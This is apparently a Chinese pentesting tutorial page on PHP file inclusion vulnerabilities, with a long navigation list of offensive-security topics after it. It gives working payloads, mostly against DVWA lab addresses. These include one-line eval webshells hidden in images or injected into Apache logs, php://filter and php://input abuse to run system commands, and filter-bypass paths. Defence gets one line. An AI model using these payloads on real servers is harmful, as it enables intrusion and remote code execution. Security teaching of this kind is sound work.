## 文件包含漏洞
简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,所以包含漏洞经常出现在PHP语言中,但其他语言中可能出现包含漏洞。
### 文件包含漏洞的原理:
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。
但有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。
攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
**示例代码:**
```
?page=a.php
?home=b.html
?file=content..
```
### 涉及到的危险函数:
```
include #执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
include_once #同上,区别是如果该文件中已经被包含过,则不会再次包含。
require #程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
require_once #同上,区别是 PHP会检查该文件是否已经被包含过,如果是则不会再次包含。
```
### 文件包含漏洞的分类:
1. 本地文件包含漏洞:
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。
很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力(例如上传webshell后用包含方式调用)。
2. 远程文件包含漏洞:
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂远程码
php远程包含漏洞必要参数
```
allow_url_include=on
magic_quotes_gpc=off
```
### 文件包含漏洞的上传技巧:
#### 1、小马+图片:
* 方法一:直接伪造头部GIF89A
* 方法二:CMD方法,copy /b test.png+1.php muma.png
* 方法三:直接使用工具往图片中写入一句话木马。
#### 2、小马+日志:
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
>Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
1、打开配置文件`httpd.conf”第299行
删除井号以取消注释
```
##CustomLog "logs/access.log" common
```
2、将一句话木马写到 url中的fiename 里
虽然会提示失败,但是会记录到日志文件中。**
```
#URL地址
http://xx.com/xx.php?filename=<?php @eval($_POST['123']);?>
#access_log中会有如下内容
..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ......
```
3、然后用包含漏洞包含日志文件
小马就被运行了,但是由于编码的缘故有可能并不生效。用菜刀等工具连接试试
```
#URL
http://xx.com/xx.php?filename=../Apache/logs/access.log
```
#### 3、利用php包含来读文件:
```
# 1 构造URL:x.php是实现传到服务器的一句话木马
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
# 2 通过bp抓包可以发现,返回的包里面有一串base64的加密字符串
# 3 将加密字符串解密,可得一句话木马
<?php eval($_POST['cmd']);>
```
#### 4、php包含写文件:
注意:只有在`allow_url_include`为on的时候才可以使用,如果想查看回显结果那还要这样
1. 在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini
2. 打开,查找`display_funtions=proc-open,oppen,exec,system……`
3. 删掉system,然后重启apache。
>意思就是排除system命令
```
#构造URL:
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input
#抓包,修改提交的post数据为
<?php system('net user');?>
#在返回包中,应该能看到net user命令的执行结果
```
#### 5、`str_replace`函数绕过:(中)
使用`str_replace`函数替换指定的字符串是极其不安全的,因为可以使用很多方法绕过。
又假设设置的过滤`../、..\、http://`等,以防止目录穿越和远程文件
```
#1、可以路径嵌套
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
#2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
#3、双写http头使用远程文件
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
```
#### 6、fnmatch函数绕过:(高)
经常会有开发,用fnmatch函数,用于指定只能用特定的文件名开头的文件
```
if(!fnmatch("file*",$file)&&$file!="include.php")
#本意是当include.php,又不是file开头的文件名时,就不能调用
#但殊不知有file://协议,也是可以读取文件的
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
```
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
```
File:// 访问本地文件系统
htt[p:// 访问HTTP(s)网址
ftp:// 访问FTP(s)URLS
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 数据(RFC2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径模式
#有时候对方程序员对协议进行限制我们可以多尝试尝另外的
```
## 文件包含漏洞的防御方法:
**将需要包含的文件用白名单方式写死**
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具